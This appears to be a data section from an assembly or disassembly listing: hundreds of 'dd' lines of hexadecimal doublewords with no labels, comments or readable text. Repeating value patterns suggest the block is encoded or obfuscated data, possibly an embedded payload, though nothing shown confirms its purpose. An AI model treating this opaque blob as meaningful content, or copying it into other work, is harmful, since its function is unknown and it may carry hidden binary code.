		dd 56D5A3B6h, 56E75832h, 0DA88B132h, 5E42470Dh,	7D75991Dh
		dd 59030900h, 5657B7BAh, 562FBE32h, 37D5B132h, 0D78AB132h
		dd 1778E1ECh, 56BAD070h, 0AA5DB1CAh, 5657B132h,	0D4584D32h
		dd 56ABB122h, 56D5BADBh, 4D7CFC32h, 0CB8A824Ch,	0FD722B81h
		dd 0D452B132h, 56AEB138h, 8FDCD752h, 0BDAE098Ah, 0D0DAD001h
		dd 56EAB133h, 5975B1C7h, 56BAA6BBh, 564F5832h, 0D0D1B132h
		dd 7A28E291h, 0BAB0FDD8h, 41921FCAh, 7A0A95EAh,	5675B8DBh
		dd 3F3C5432h, 0E2CB2DDAh, 56AE997Dh, 9DE8BE52h,	0BFCA7380h
		dd 56D5B139h, 0FA569B90h, 1836D772h, 56D4D787h,	565D4932h
		dd 59AEB1CAh, 5657B0B3h, 56AB4932h, 56DD393Dh, 0D7E5B132h
		dd 5675B130h, 56BAD052h, 56495852h, 0D711B132h,	3D65153Bh
		dd 1ECCFFB7h, 5056376Dh, 0FFB35E8Bh, 0A4CFFA50h, 37F12F08h
		dd 565A323Dh, 36CEB132h, 87DCD753h, 0BFABB153h,	56D5B126h
		dd 0CB272542h, 0E2086BBBh, 3F0DB2DEh, 0F0C0E95Dh, 0D150181Fh
		dd 53BEB132h, 10ABB132h, 84B6E5h, 0EF8AB132h, 48C5564Eh
		dd 0AABAB153h, 565DA3DBh, 0AE84F732h, 7D19B07Eh, 3F49CFDAh
		dd 0BAC94E9Eh, 5655FB39h, 56615832h, 64B4B132h,	0EEE5462Fh
		dd 0E8C83421h, 0EEE271FDh, 0D54E3A54h, 56D5DB9Dh, 56E23D3Dh
		dd 0D17AB132h, 56BAB130h, 565DD052h, 36AEB1C7h,	565B363Dh
		dd 5142B132h, 0C5D5B132h, 9464F017h, 0BF22FD97h, 56BAB134h
		dd 0ED3FC839h, 37F1C666h, 5657B130h, 56ABB124h,	56D5A0DBh
		dd 0EAFCB332h, 47864AAAh, 3CA4BC13h, 126BB35h, 56AE4266h
		dd 5656303Dh, 8E52B132h, 50D5B235h, 52EAB032h, 73758532h
		dd 56B8EA32h, 56463E3Dh, 30CEB132h, 47BE69B9h, 0E8ABB132h
		dd 222E8A7h, 5DB95EE1h,	7165C4B1h, 65D72037h, 0BF5DB153h
		dd 56AEB137h, 2E2357Ch,	36ABB12Bh, 0E1DA72B9h, 56EAD0CAh
		dd 567CB36Ah, 0AADAB132h, 565D313Dh, 56CFB132h,	56574932h
		dd 56ABB36Ah, 47EED532h, 0DA632Bh, 0CEE6B64Bh, 563A042Ah
		dd 0EF3BD132h, 0D3A1828Eh, 5657B130h, 59CAFC85h, 56D5B0BEh
		dd 0BF7A4432h, 5675B139h, 0B41775E5h, 78F48141h, 6CBEDFDh
		dd 5657B7DBh, 0A26CB732h, 0C6B6232Fh, 5396DE7Ch, 425803Dh
		dd 56BAB8DBh, 55EF0C32h, 95008B2h, 6758C49Eh, 0EF1D052h
		dd 6746E968h, 67E5E362h, 0E2FE968h, 0AC2AE968h,	0BFC1EF99h
		dd 56AEB13Eh, 75056C86h, 29356812h, 0CD7F247Eh,	56EAB7DBh
		dd 0B202C732h, 0CBA9B37Fh, 605EB53h, 6CEE362h, 0C66BE60h
		dd 5D422D6Ah, 31D5B132h, 55580C26h, 98B08B2h, 0D7DCC49Eh
		dd 0BF7F29E2h, 56AEB134h, 7B13E6E4h, 37364250h,	423C803Dh
		dd 8AEAB132h, 9E1E0BD7h, 22FD3753h, 0B6BEA3AFh,	5A91EFABh
		dd 0C0CDB67h, 42CC246Ah, 0D6D6038Fh, 0FAB54F8Bh, 0D70EBB47h
		dd 1B7F67E2h, 56515816h, 7BEAB132h, 7FE74250h, 0B377FE9Ch
		dd 3748DA88h, 52CEF5BBh, 5675BDDBh, 4427C532h, 8C451D1h
		dd 3CFBBD0Dh, 0C4CBE969h, 0D000C77Ch, 56D54E75h, 0BC6BD752h
		dd 0D67A2EC7h, 56BAB134h, 16EC7AB3h, 56CFD0DBh,	5BBE4932h
		dd 6AABB132h, 25BAFBE9h, 83758FC5h, 0C98A941Bh,	0AFDAB132h
		dd 11C70954h, 5720BE53h, 0AE57B132h, 0D3A4B132h, 56D5B133h
		dd 0BFEAB1CBh, 5675B139h, 4BF000FEh, 0F197346Dh, 56E055DEh
		dd 0E958D132h, 56ABD0C8h, 36D5B1CEh, 56EABADBh,	0AA3C3F32h
		dd 6106F26Eh, 83E25219h, 56B9363Dh, 44BEB132h, 0CCABB132h
		dd 80D68C20h, 0C2C6809Bh, 17E269Bh, 33D8BAD6h, 565DD031h
		dd 56AEBCDBh, 72FB632h,	2672B373h, 5CAD0B4Ch, 56EABE44h
		dd 0E97AD1CBh, 0D3B5E1C0h, 565DB132h, 56AED069h, 56443F3Dh
		dd 5842B132h, 0C0D5B132h, 61F0B84Dh, 28A2C61Bh,	0C2A41EE5h
		dd 0BF5DB1B1h, 56AEB138h, 4AB6637h, 27335335h, 56D596C7h
		dd 56E43E3Dh, 5F9CB132h, 7BAB132h, 8142B6C7h, 8FD15764h
		dd 0D858B132h, 56ABB13Fh, 56D35852h, 0BED9B132h, 0DA817584h
		dd 59BAB153h, 565DB8B0h, 0D7C8D132h, 0DDF9A6EAh, 56ABD0CAh
		dd 56D5B7DBh, 35A47832h, 59640230h, 56BAA1BAh, 56565832h
		dd 8228B132h, 0A5547950h, 1998FFABh, 36D5B183h,	11C0E3Dh
		dd 5675A0DBh, 0AD202D32h, 2D75A947h, 7736030Fh,	52888964h
		dd 37F4D788h, 0BF20B132h, 56EAB13Ch, 6DA86D1Eh,	0AEAB893Ah
		dd 0DFC842Fh, 56AEC27Ah, 5646373Dh, 5A42B132h, 0C8D5B132h
		dd 9EF05130h, 71662319h, 56084C5Ch, 565D4D32h, 555C0952h
		dd 0ED31F9ACh, 56CA4807h, 0DD2DD132h, 56EAD0EDh, 5675A0DBh
		dd 0E7D8AE32h, 8A653C32h, 0AB31275Bh, 0B4458Bh,	0D9A43848h
		dd 56D5B13Ah, 56E8313Dh, 3715B132h, 5642B132h, 51B5D132h
		dd 39AEB132h, 0D5961029h, 5A420BD9h, 0FED5B132h, 26F7E480h
		dd 12C1A4C0h, 9573EA2h,	0D07E060h, 0AEAEB153h, 56AEB132h
		dd 59FCD132h, 56D5B1B7h, 0DAE5E832h, 5675B137h,	0AD593054h
		dd 565DD0BAh, 9819BE52h, 28F97BB3h, 56CA8615h, 0DDB3D132h
		dd 0A62B30EBh, 3774B280h, 5642B132h, 565D4D32h,	0DD7F3052h
		dd 59042065h, 56ABB7BDh, 5652BE32h, 37EAB132h, 0DF7AB132h
		dd 56BAB13Ah, 565F3B3Dh, 37CEB132h, 0DC37B132h,	56BF59D9h
		dd 0A170B132h, 0EAAB72E2h, 0FE2C0DBFh, 7A23C046h, 0A825FF8Eh
		dd 5A47FBF2h, 3557B132h, 0C16387B7h, 39735E12h,	0E2C6DADh
		dd 0BF75B153h, 56BAB121h, 0CE8D17A4h, 97AF589Dh, 58EFBCD1h
		dd 2D762DF7h, 59004DA2h, 56EAB9B5h, 54F7BE32h, 36BAB132h
		dd 365DB153h, 5B476CB8h, 7157B132h, 8B235C7Fh, 88B458FDh
		dd 65419831h, 3675B153h, 56BE303Dh, 0E93BB132h,	0ED143C47h
		dd 374DA487h, 36ABB1C7h, 8B216AB3h, 0DD8CECEBh,	5675D0CCh
		dd 56BE333Dh, 0E03DB132h, 56AED073h, 5657B8DBh,	7ED65732h
		dd 0F54A6D14h, 56EAE548h, 3675B1CEh, 56BAB8DBh,	9516ED32h
		dd 0E45E6AA0h, 5636003Fh, 8C2AD132h, 58E2FBC9h,	56EAB7DBh
		dd 0AC0CD32h, 375D59F8h, 565DA0DBh, 744F1232h, 12BBB65Eh
		dd 0AD4DBBBAh, 0F7805F03h, 56EAF549h, 37804D52h, 0BFDAB132h
		dd 565DB139h, 0CB94F280h, 29799072h, 0EE9A8F63h, 5CA7A88Eh
		dd 0BFEAB153h, 5675B139h, 2CBEAE8Ch, 38D0B73Dh,	56FD36D9h
		dd 56574932h, 56ABBFDBh, 0CBEA8832h, 29660C41h,	0ACA1AF5Dh
		dd 566AB31Ch, 56A14932h, 512EBE32h, 5957B132h, 56ABB0B9h
		dd 56D54932h, 975DBE52h, 5675BDDBh, 0D9C69232h,	2084012Bh
		dd 21E6BEEEh, 5657D01Eh, 4242E152h, 36D5B132h, 0C67C515Ch
		dd 847E45B3h, 214D9328h, 0DEE6B757h, 0ED03E79h,	56533E3Dh
		dd 0EDCDB132h, 56B44AD1h, 5B03D132h, 7B75B132h,	0B6DF7019h
		dd 9BF48B55h, 31548ED2h, 0A1D6D762h, 37F4EDCBh,	0D6DAB132h
		dd 56EAB12Ch, 566D333Dh, 4553B132h, 0F85DB132h,	661FC3CFh
		dd 6F0141CDh, 0A7916E5Ch, 0E291A963h, 0BE8AE6A7h, 5675B13Eh
		dd 24A3C0C6h, 4334EC67h, 7470AF2Bh, 5657383Dh, 0ECF0B132h
		dd 3451EBDEh, 59EAB153h, 5675B0BDh, 56BA4832h, 565DA5DBh
		dd 0DC910132h, 0EECDF2E0h, 32E237F7h, 7A3B529h,	5871D9E5h
		dd 3675B1F4h, 0B0226EB3h, 0E1528C44h, 56AED0F1h, 5657B4DBh
		dd 0E16A7C32h, 56D55A55h, 59EAB1CAh, 5675B6B2h,	573DBE32h
		dd 0AA5DB132h, 5656B132h, 5CD3BE32h, 36ABB132h,	0EE053A54h
		dd 256123C9h, 3675B153h
		dd 1F2A0F54h, 373C75B2h, 0AFAEB1CAh, 0D458B132h, 56ABB135h
		dd 59B4D152h, 568B6B8Dh, 56665832h, 3151B132h, 57A0C62Dh
		dd 45C99EBFh, 203AA398h, 0C00FDC3Ah, 0A3D5B1DEh, 0D0E5B132h
		dd 5675B13Eh, 56BC3C3Dh, 0D852B132h, 56AEB132h,	5CBEB132h
		dd 7AABB132h, 0F29D275Ah, 9FCB44F1h, 3675B1FCh,	56BAB6DBh
		dd 2CEB9732h, 0E7AD97DBh, 5657A1DAh, 152E6F32h,	72229885h
		dd 2D846CD3h, 0A326B0F9h, 0C9670E03h, 3706BAD4h, 0D6CEB132h
		dd 0AEE005E5h, 1114D153h, 0BF98DE25h, 56EAB139h, 9F62BF28h
		dd 906EAB26h, 37DFC930h, 0D0A1B132h, 5657B138h,	56ABB4DBh
		dd 4428BF32h, 56EA9A64h, 5660353Dh, 0BFDAB132h,	565DB13Fh
		dd 8F6723CBh, 0C9AB631Fh, 3B8098B1h, 56B44807h,	56E05832h
		dd 0BE43B132h, 4E0428F1h, 8CBD7319h, 9C11BE52h,	5636CA85h
		dd 5F42D132h, 0F2D5B132h, 0FE100BDh, 0A35C746Fh, 37623A54h
		dd 0D452B132h, 56AEB113h, 56435852h, 0D195B132h, 0D6A9B77Eh
		dd 4DB90EC3h, 0E0A6FC37h, 392DDC3Fh, 0D5524574h, 56AEB132h
		dd 0AA57B153h, 5653B132h, 5751BE32h, 0AAEAB132h, 0BF15B132h
		dd 56BAB137h, 0D6A3898Dh, 1917D7D1h, 0D637D076h, 0D7CD1AF9h
		dd 378D83D3h, 0D7E5B132h, 5675B128h, 56B75852h,	90C0B132h
		dd 6C24A64Bh, 0A492ED4Ch, 59139E2Ah, 56D5B1BEh,	56EAD032h
		dd 5675BEDBh, 2E59E732h, 0DE7028Fh, 0C25A7D59h,	0AEC53FA3h
		dd 0DAA4B132h, 56D5B135h, 56EB363Dh, 3689B132h,	540F0F54h
		dd 563C6BB9h, 5729BE32h, 0A357B132h, 3653B132h,	3C40A54h
		dd 59EAB153h, 5675ACBCh, 4134BE32h, 0BF5DB132h,	56AEB120h
		dd 9DECA692h, 6420B4F3h, 6125B76Ah, 0D6ED914Dh,	30157260h
		dd 372CD48Ah, 5DB4B132h, 19AEB132h, 0A4317008h,	0CF560E49h
		dd 56D5C952h, 56E43E3Dh, 5F9CB132h, 78BAB132h, 90BA24B6h
		dd 256D4B51h, 5ABEB132h, 67ABB132h, 0B49CED10h,	31FD9DC8h
		dd 56A465B9h, 4A3DBE32h, 365DB132h, 56AEA5DBh, 581E1132h
		dd 0E0DA8A36h, 82977C11h, 8590717Ch, 33CF887h, 59DB49D0h
		dd 565DBBB4h, 56AB5832h, 3A12B132h, 56912382h, 0A386D132h
		dd 37303A6Dh, 519CB132h, 16BAB132h, 0C967841Eh,	56AEFB03h
		dd 56413D3Dh, 4742B132h, 9AD5B132h, 0FBB1145h, 53E52B59h
		dd 0E76C0AE6h, 0C35BD69Eh, 0BECEB132h, 5657B13Fh, 9476128h
		dd 1D666DA8h, 0F937193Ah, 56725916h, 0B3EAB132h, 828F44C8h
		dd 59F4E96Ch, 5657B2B2h, 6C463132h, 6C63D153h, 56EABFDBh
		dd 3B75E032h, 6323A95Eh, 0B42B5637h, 370D58C3h,	0D958B132h
		dd 56ABB134h, 6B4D152h,	56EAD06Bh, 5675B7DBh, 99DA5732h
		dd 56E767E0h, 5729BE32h, 0AA57B132h, 0D5A4B132h, 56D5B135h
		dd 56EB353Dh, 568DB132h, 56BF5832h, 0D7E3B132h,	56DA8E28h
		dd 0AFDCD132h, 59ABB153h, 56D5BEB0h, 56E05832h,	0F897B132h
		dd 469A63DBh, 0C11B914Ah, 0BF57B132h, 5657B13Ah, 0F331BF15h
		dd 2B4111A6h, 0DEE5B132h, 5675B13Eh, 56BC3F3Dh,	0DB52B132h
		dd 56AEB132h, 0D758B132h, 56ABB133h, 56C758C7h,	0E46EB132h
		dd 0D23730Bh, 90022435h, 0A1FFB49Ch, 0CFF403C5h, 3037B132h
		dd 0D7A46BB9h, 56D5B132h, 8F61D153h, 3675B153h,	9DBD164h
		dd 37AC0E3Dh, 36AEB1CBh, 9820263h, 56ABBADBh, 134BA132h
		dd 6C1D3E08h, 0E5E1BF6Bh, 0BFBAB153h, 565DB13Ah, 4A7E5BFAh
		dd 0C1B66FFDh, 5D42B132h, 0D0D5B132h, 0B0C4A7C6h, 6E1C0735h
		dd 56BA094Ah, 0F830F52h, 0FA17DC71h, 3740556Fh,	0D1A4B132h
		dd 56D5B13Ah, 56E8353Dh, 3715B132h, 4653B132h, 0B45DB132h
		dd 0DB6E06A6h, 2313064Ah, 19FCE99h, 567C0775h, 56EA4432h
		dd 50F7BE52h, 59BAB132h, 565DB1BAh, 552ABE32h, 5957B132h
		dd 56CA6685h, 56D25832h, 8819B132h, 39DB214Fh, 36BAB165h
		dd 0EC3B6FB8h, 56CFB172h, 56585832h, 0A64B132h,	53031696h
		dd 0DC26B0E8h, 5F093473h, 56BA485Bh, 565DA5DBh,	0ED799B32h
		dd 65EF69B9h, 0B85F2F43h, 5F4788D0h, 0A2C2DAA5h, 0A375B132h
		dd 5853B132h, 7D5DB132h, 0C2B2F6AFh, 20D6B3EBh,	6E22CAA6h
		dd 0AAD5B12Ah, 0DBE5B132h, 5675B127h, 56BAA1DBh, 0C6B93F32h
		dd 99E9A7DDh, 0ECFD5A61h, 0C11424FEh, 56D544E3h, 0BFEAB1C7h
		dd 5675B137h, 0EED89590h, 0BF5DB14Fh, 56AEB139h, 7C177166h
		dd 462292E0h, 56659259h, 5D02D132h, 4D75B132h, 997AD85Ch
		dd 2971B380h, 0DFA14AFDh, 5657B132h, 56A6596Dh,	0D9DDB132h
		dd 27A67967h, 0D83C91D3h, 4E2048h, 563CE86Ch, 56A05832h
		dd 3DB7B132h, 7276B661h, 1A898665h, 5EB453F7h, 0D07AB132h
		dd 56BAB135h, 565C3C3Dh, 5657B132h, 56A24D32h, 56AB4832h
		dd 56D5BADBh, 30F66832h, 0D0FD2155h, 0A95C67E4h, 303DB132h
		dd 0D3A170B9h, 5657B131h, 37510E3Dh, 0DCDAB132h, 56EAB125h
		dd 0BF2FE352h, 56BAB13Ch, 0D808DB8h, 0DFE251B6h, 0D122C9D9h
		dd 56CAFC7Fh, 5758BE32h, 0A3EAB132h, 568DB132h,	0B53AD132h
		dd 0ACD6E1B7h, 56AED06Dh, 5657BFDBh, 8EA70332h,	2D0481B1h
		dd 62CF6D26h, 367F40B7h, 56BA393Dh, 48E6B132h, 37B2881Eh
		dd 0D258B132h, 56ABB13Ch, 56D5B8DBh, 86208532h,	2546838Eh
		dd 56BABDC9h, 595DB1CEh, 56AEA6B4h, 56455832h, 2C22B132h
		dd 21B2A2E0h, 9D7A3167h, 79405AF6h, 42052DADh, 565DBBDBh
		dd 0B5BF7432h, 0F98F19EFh, 5677599Bh, 455FBE32h, 0BFEAB132h
		dd 5675B13Ch, 813AC360h, 0F7BBC1E3h, 0A8B08894h, 56578F1Ch
		dd 56ABB9DBh, 0FF33E32h, 60485BD0h, 3675B1FDh, 0FC4A43B3h
		dd 53B58196h, 3FAEB132h, 70184360h, 56CAE9CEh, 0D84D132h
		dd 568B9882h, 3022D132h, 1D0A68B3h, 81DCD769h, 56CFA735h
		dd 56475832h, 0B9C3B132h, 55EF30ECh, 0A700FAD7h, 0E00DE753h
		dd 56BAF166h, 595DB1C7h, 56AEBDB0h, 50D7BE32h, 59ABB132h
		dd 56D5B1B8h, 36EAB132h, 5675A1DBh, 727ED732h, 4ED224EEh
		dd 0E7F04C10h, 0BB825A16h, 56A158D2h, 6DFBB132h, 2A757ED1h
		dd 6F0D2E59h, 0AFBAB153h, 0D452B132h, 56AEB133h, 0EF31D1CEh
		dd 0D9A47490h, 56D5B131h, 3728063Dh, 429CB132h,	0FEBAB132h
		dd 63160F78h, 264E09BDh, 262A4F6Dh, 62D74BA0h, 5632C7A0h
		dd 56EA4832h, 5975B1CEh, 56BAA7BBh, 59B4D132h, 73AEB132h
		dd 4A5D4FD0h, 0EE4D783Bh, 7BCCB333h, 568B1720h,	56754D32h
		dd 56BABFDBh, 0C1070932h, 0D0D11CB0h, 7A28E291h, 56B0FDD8h
		dd 56C15832h, 473B132h,	0FB2B70F0h, 0ED4D7731h,	62FB03D9h
		dd 59B915BEh, 56575A6Fh, 56AC3A3Dh, 0EFB5B132h,	6332BA4Eh
		dd 0AE75B153h, 0DFB5B132h, 565DB121h, 44463152h, 5657B9DAh
		dd 8558CC32h, 9C30D12Eh, 0AA8BEBB5h, 5689B132h,	56B05832h
		dd 10CDB132h, 3078E735h, 1776CCBBh, 59CBB132h, 56D5B3BBh
		dd 7130432h, 0DA064B2h,	0AFBAB153h, 565C353Dh, 5652B132h
		dd 56435832h, 8ED4B132h, 879FECCEh, 8B9D4EBFh, 1675FF26h
		dd 0B18AF858h, 565DFB09h, 56AEB7DBh, 0AF2C9532h, 565DDD91h
		dd 5A51BE32h, 59EAB132h, 5675B7B6h, 5632BE32h, 565DB132h
		dd 56BD5832h, 0B0DAB132h, 41960F56h, 0B667641Ch, 2EA989D8h
		dd 7D86042Fh, 59BAB1EDh, 565DB0B9h, 56AE4432h, 565F313Dh
		dd 0D7A4B132h, 56D5B130h, 56EAD052h, 78920F52h,	4452A3ECh
		dd 0B35DB132h, 79561217h, 2E6745AAh, 86AEB5F2h,	5BEC3653h
		dd 8061D714h, 5675D06Bh
		dd 0AFBAB1CEh, 595DB1C7h, 56AEB7B6h, 0D6AED132h, 56CA74E9h
		dd 5B5ABE32h, 0BFEAB132h, 5675B13Ah, 8F393EB4h,	1BBA2365h
		dd 5C47B132h, 9957B132h, 51692173h, 0B23CB920h,	4B60BE47h
		dd 5975B132h, 56BAA6B3h, 564F5832h, 87D2B132h, 2BFF999Dh
		dd 0A56A4078h, 123B0FC5h, 4EF47A00h, 0DD7AB132h, 56BAB135h
		dd 0AFEABE52h, 0BFCF41B9h, 5657B13Fh, 8F551231h, 9F631676h
		dd 0ACF85B7h, 0AA75B1A8h, 59DAB132h, 565DA9B6h,	56BD5832h
		dd 5AD1B132h, 55C5A47Eh, 66C200Bh, 0F611F6F0h, 41DA987h
		dd 37753A09h, 50B4B132h, 89AEB132h, 40D340A5h, 0BFABB18Ch
		dd 56D5B139h, 1AF900D5h, 34C6D4E0h, 569C7D4Fh, 0EC0CD132h
		dd 295894A5h, 89DCD76Bh, 36ABB153h, 0F27E5088h,	0A55DBE62h
		dd 4FFEBE53h, 0BFBAB132h, 565DB126h, 0F01FC120h, 0CC0D0CBBh
		dd 0CBD960FBh, 53C05CBAh, 0E7B9ECB5h, 515B132h,	0F7A063Dh
		dd 378C063Dh, 4747B132h, 0B457B132h, 62ED1EBDh,	56BF005Eh
		dd 0D5A4987Eh, 6D0AF3Ch, 4653B132h, 6D5DB132h, 1B935DFCh
		dd 80621149h, 8C170989h, 0BF498E80h, 56EAB122h,	0A6E7073Ch
		dd 53044D51h, 18F1B300h, 0C3DF895Ah, 0D858B132h, 56ABB121h
		dd 56D5BFDBh, 5DA8CB32h, 9EAB7562h, 0A995A4BDh,	56DAB78Bh
		dd 56A75832h, 77FAB132h, 0D2EED963h, 56401528h,	56E65832h
		dd 0A2B7B132h, 37F60C0h, 2EB12AE4h, 56AE034Eh, 5657B4DBh
		dd 0B302F332h, 56D55BFBh, 56EABADBh, 21B3D32h, 4A5477CAh
		dd 0C487ADBFh, 59AEB1CAh, 5657BDBBh, 5029BE32h,	59D5B132h
		dd 56EAB1BFh, 5AF4BE32h, 59BAB132h, 565DB7BCh, 5625BE32h
		dd 5657B132h, 0D7CDD132h, 373C4DD2h, 36EAB1CBh,	77C36FB3h
		dd 0DDDCC8B8h, 565DD0EDh, 0AAAEB1C7h, 56AEB132h, 56AE5832h
		dd 0EB38B132h, 56A81D64h, 0DB7AD132h, 56BAB12Bh, 565DA5DBh
		dd 87217532h, 0E04C3FEAh, 0FFBC717h, 92405A56h,	0A8CB23Fh
		dd 0DD7AD11Fh, 56BAB132h, 565DBADBh, 1A526832h,	0D482CFD7h
		dd 0EBAF0941h, 5D3CD053h, 0B4EAB132h, 0BCF08E43h, 745C12D9h
		dd 565D6879h, 56AEB4DBh, 9A455232h, 56AB315Fh, 56D95852h
		dd 0EE57B132h, 0C811776Ch, 8F50B243h, 0E40D473Ah, 56CFEEB7h
		dd 56525832h, 52AEB132h, 5697489Ah, 0DD8CD132h,	769D30FCh
		dd 378AB69Ch, 565DA3DBh, 0CF520532h, 65948B73h,	0CFC7CD20h
		dd 0E3E993E3h, 5642132Eh, 43F9BE32h, 0BFBAB132h, 565DB122h
		dd 104B95C9h, 69E81CF0h, 0E237D7F1h, 8E6315BFh,	5103B132h
		dd 8275B132h, 0F5F006FCh, 0DE52B885h, 56AEB12Bh, 5657A5DBh
		dd 0E0080A32h, 0DCB4ECEFh, 0A5F8F9F6h, 80F7ACh,	6FB3E86h
		dd 365DB148h, 56BC393Dh, 5ABFB132h, 1CABB132h, 4045C431h
		dd 0AC704400h, 0E760286h, 37623A54h, 0DC52B132h, 56AEB138h
		dd 599D3B52h, 56ABB1B5h, 56D5D032h, 0B96BD752h,	0D67A9239h
		dd 56BAB133h, 565DD0CBh, 56AEB6DBh, 1CA59E32h, 1D58E4A2h
		dd 4B5B132h, 56EAA5DBh,	0D5E8FE32h, 5A26AF15h, 0FBD7A150h
		dd 8F1BD285h, 548D2B3h,	0DDCDEBC9h, 56D5D0C8h, 0AAEAB1CBh
		dd 0E315B132h, 56A85819h, 7D10B132h, 3BE31613h,	0B2BD25E5h
		dd 5D574F4Eh, 6C97F288h, 4F5FD153h, 37B10052h, 59BAB153h
		dd 565DB7B8h, 8925D132h, 563667B9h, 56A45832h, 0C474B132h
		dd 3843CC73h, 43BBF37Dh, 72904BAAh, 365DB158h, 56AEB8DBh
		dd 4C394B32h, 0B1E1D264h, 372D8CC7h, 598AB132h,	87F54385h
		dd 56BAD047h, 63E6D752h, 84B00AE3h, 3636F9EEh, 95210F54h
		dd 56D33C3Dh, 0D3E5B132h, 5675B132h, 0BFBAB153h, 565DB13Ah
		dd 0EBB4BE6Ch, 3D6B89DFh, 5657B132h, 0E1DAD132h, 56EAD0F4h
		dd 30000252h, 0DB8E77B3h, 0A35DB153h, 30CEB132h, 0DD337588h
		dd 56ABD0C0h, 56D4383Dh, 5616B132h, 567A5832h, 0EC8B132h
		dd 5A41AE74h, 92DEEED0h, 1128C5CCh, 0BFABB11Ch,	56D5B122h
		dd 241F2B8Ch, 8E54B30Bh, 263691CCh, 0A0AF7259h,	565BB132h
		dd 30AFD132h, 37BBE68Ch, 5A3CB132h, 4DEAB132h, 0FC7E3D9Bh
		dd 0FE681068h, 0AF492B95h, 0BF52B132h, 5657B123h, 1F52801Eh
		dd 0F1623097h, 50457E41h, 45BF381Fh, 36BAB1EDh,	0C4D70B60h
		dd 0DCF59F7Ah, 5657D0F5h, 56A5303Dh, 5F3CB132h,	8DEAB132h
		dd 9D85FBE0h, 47648ED6h, 56A1B132h, 572DBE32h, 0AE57B132h
		dd 0E4CBB132h, 5E3CD0AAh, 4FEAB132h, 31A8417Eh,	56BAD1E3h
		dd 51DBBE32h, 36AEB132h, 0A1D777B9h, 0DAA4D088h, 56D5B139h
		dd 56EAB7DBh, 7AA6F232h, 56DC51ECh, 56535832h, 0E3DCB132h
		dd 0BB034840h, 2E90DC1Bh, 1F5CFB97h, 561FB132h,	0E17AD132h
		dd 56DB48F8h, 565D4932h, 56AEA5DBh, 0C997A832h,	0B09A3255h
		dd 4FA8C0A2h, 742C4504h, 0BD7E6AD9h, 36BAB110h,	39A3054h
		dd 56AED07Fh, 565C58CEh, 2A9EB132h, 11786BEBh, 6D540B5Eh
		dd 5975B1E1h, 56BAB0B0h, 565D4932h, 56AEB7DBh, 0C4F96C32h
		dd 36DE28EAh, 361F3054h, 0ADE50B76h, 56148506h,	713ABE32h
		dd 365DB132h, 56AEBFDAh, 3787A32h, 641149DAh, 9CB10323h
		dd 9923252h, 5675BDDBh,	46476532h, 637B724Dh, 698DB9CEh
		dd 56AFD0F5h, 56AB4D32h, 56D5A0DBh, 0B89DCB32h,	957576F1h
		dd 21E19703h, 548C48DBh, 56AED8FBh, 5657B8DBh, 39136532h
		dd 0C9A7DA83h, 56EACECBh, 5675A3DBh, 0E7846032h, 4E121536h
		dd 780D82D0h, 0F07BCA3Bh, 56C2B2ACh, 4051BE32h,	36EAB132h
		dd 5675BDDAh, 71823F32h, 0E7CF40CFh, 0A070BB62h, 3737EB7Bh
		dd 0BFABB153h, 56D5B139h, 0A797E859h, 5546F320h, 0AA505F1Eh
		dd 593DB132h, 56AEB3B1h, 0AA6D0032h, 0BFABB153h, 56D5B123h
		dd 8F1B83E8h, 0BCAF35B7h, 1280C978h, 1BD2417Ch,	59AEB177h
		dd 5657B0BEh, 56AB4832h, 56D95852h, 0F741B132h,	0EE605FC3h
		dd 148C4E74h, 563C0A5Dh, 56AE4832h, 0AE57B1C7h,	0BECBB132h
		dd 56D5B121h, 2D2B989Bh, 3DDBE596h, 3333CF03h, 5809F50Ah
		dd 0D7BD115Bh, 0D64A62F3h, 8F2BEE21h, 0D7DAD00Bh, 56EAB133h
		dd 0BF75B1CBh, 56BAB135h, 343AE97Bh, 56694FDBh,	5ED7BE32h
		dd 59ABB132h, 56D5B3BDh, 568BD132h, 567B5832h, 41FEB132h
		dd 0F49C6F9Dh, 0B80DC269h, 66B0AEE5h, 5657B132h, 4F5BBE32h
		dd 0BFEAB132h, 5675B126h, 0DEF18238h, 8762EC49h, 11558D9Ah
		dd 0D26EAD68h, 0ED8DA0ACh, 36D5B1CAh, 56EB363Dh, 308DB132h
		dd 378DA78Ah, 0DC52B132h, 56AEB133h, 3657B1CAh,	0BE780E3Dh
		dd 56D5B13Ch, 5F9D4ABEh, 7ABC2EB0h, 6E55A33Eh, 37060ABCh
		dd 5147B132h, 8557B132h, 610DF2Fh, 56D575E6h, 56EB363Dh
		dd 0BF8CB132h, 56BAB13Fh, 0E2E3AC91h, 432624E5h, 7D384300h
		dd 59ABB189h, 56D5B9BCh, 0AD55D132h, 0AA4CC281h, 0BFBAB153h
		dd 565DB123h, 9CD0B19Eh, 4C108A70h, 775FF6B7h, 2FADEE28h
		dd 56EA44F3h, 5EEE0952h, 0DDDCB471h, 565DD0C3h,	4B10D752h
		dd 88D6D702h, 56CADAF5h, 56C55832h, 0DA43B132h,	0F72F1B39h
		dd 0CC1D19E0h, 2E4AC26h, 56AEAE1Fh, 56563B3Dh, 5653B132h
		dd 5053BE32h, 36EAB132h, 0C24EE65h, 36BAB153h, 5324658Ah
		dd 0EF4B313Fh, 0BF57B153h, 56ABB126h, 0BE175272h, 4F05489Dh
		dd 959D362h, 5ECAC2E8h,	7B2138E5h, 0DAA1B132h, 5657B135h
		dd 56AA373Dh, 3620B132h, 4892E188h, 5675D025h, 553DBE52h
		dd 595DB132h, 0C716628Dh, 373D992Ch, 5657B132h,	0BD6CD132h
		dd 0BFE8F7F6h, 5675B13Ah
		dd 1DBB220Ch, 5343DF44h, 572BBE53h, 0A357B132h,	5653B132h
		dd 56C55832h, 0C637B132h, 29B9757Ch, 0D552479Dh, 3D454FB2h
		dd 59CE73D9h, 5657BDB1h, 56AC5832h, 5D7FB132h, 0E988A44Ah
		dd 567559A8h, 0D7E0B132h, 0B99309D8h, 56BC5835h, 8776B132h
		dd 89042FA8h, 93A694C7h, 0E81184DDh, 6A366D38h,	56BAB4DBh
		dd 4D033632h, 59CE7294h, 0DD31678Dh, 0D326D0F8h, 513B748Eh
		dd 56E63D3Dh, 0D77AB132h, 56BAB134h, 565D3B3Dh,	0D427B132h
		dd 51B8075Dh, 0CF293CCAh, 36D241A4h, 37280E3Dh,	36BB3A52h
		dd 0A669918Bh, 373CD17Eh, 0D02C3853h, 59505E84h, 56ABB9B2h
		dd 545BBE32h, 36EAB132h, 6F775953h, 5F53B132h, 675DB132h
		dd 4EC88623h, 9BFF2971h, 56A8A7DAh, 5057BE32h, 36EAB132h
		dd 3715EF61h, 0E8387653h, 565A5E87h, 59AEB132h,	5657B6B3h
